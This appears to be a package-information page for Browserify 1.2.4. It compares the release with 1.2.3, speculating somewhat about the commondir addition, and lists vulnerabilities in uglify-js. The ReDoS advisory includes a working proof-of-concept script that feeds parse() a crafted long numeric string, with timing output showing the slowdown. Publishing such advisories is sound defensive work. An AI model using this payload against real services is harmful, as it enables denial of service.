Browserify version 1.2.4 represents a minor update to the popular JavaScript module bundler, building upon the 1.2.3 release. Both versions share the core functionality of enabling require() statements in browser-side JavaScript, allowing developers to organize code into modules and leverage npm packages directly within web applications. Key dependencies such as nub, resolve, detective, and coffee-script remain consistent, ensuring continued compatibility and core feature support. Developer dependencies utilized for testing and development, including seq, jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse and jquery-browserify are unchanged reflecting a continuation of the existing testing and development approach.
The primary difference lies in the introduction of the commondir dependency in version 1.2.4, implying added functionality related to resolving common directory paths, potentially impacting how Browserify handles module resolution or file system operations. Developers upgrading should investigate how commondir is used within the codebase and test its impact on their specific project configurations. While seemingly minor, this dependency addition might affect module bundling behavior in specific scenarios. The updated release date also indicates bug fixes or minor improvements incorporated into version 1.2.4, making it a recommended upgrade for developers seeking the most stable and refined experience. Developers familiar with 1.2.3 will find a smooth transition, while new users will benefit from the latest enhancements.
All the vulnerabilities related to the version 1.2.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.